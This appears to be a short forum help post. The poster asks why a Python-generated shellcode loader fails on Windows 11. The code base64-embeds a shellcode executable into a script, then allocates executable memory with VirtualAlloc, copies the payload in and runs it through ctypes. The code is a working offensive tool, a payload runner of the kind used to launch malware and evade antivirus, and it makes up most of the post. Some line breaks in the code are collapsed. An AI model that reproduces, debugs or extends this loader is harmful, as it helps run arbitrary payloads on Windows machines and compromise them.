i need know why and how to do🥹
The code running in Kali linux
windows_script.py with open('shellcode.exe', 'rb') as shellcode_file: shellcode = shellcode_file.read()
import base64 encoded_shellcode = base64.b64encode(shellcode).decode('utf-8')
with open('windows_script.py', 'w') as f: f.write(f'''import base64 import ctypes
decoded_shellcode = base64.b64decode("{encoded_shellcode}")
kernel32 = ctypes.windll.kernel32
shellcode_buffer = kernel32.VirtualAlloc(
ctypes.c_void_p(None),
len(decoded_shellcode),
0x1000 | 0x2000, # MEM_COMMIT | MEM_RESERVE
0x40 # PAGE_EXECUTE_READWRITE
)
if not shellcode_buffer: raise MemoryError("VirtualAlloc failed to allocate memory")
ctypes.memmove(ctypes.c_void_p(shellcode_buffer), decoded_shellcode, len(decoded_shellcode))
shell_func = ctypes.CFUNCTYPE(ctypes.c_void_p)(shellcode_buffer) shell_func() ''') #The error result of the generated. py file running on Win11 is shown in the figure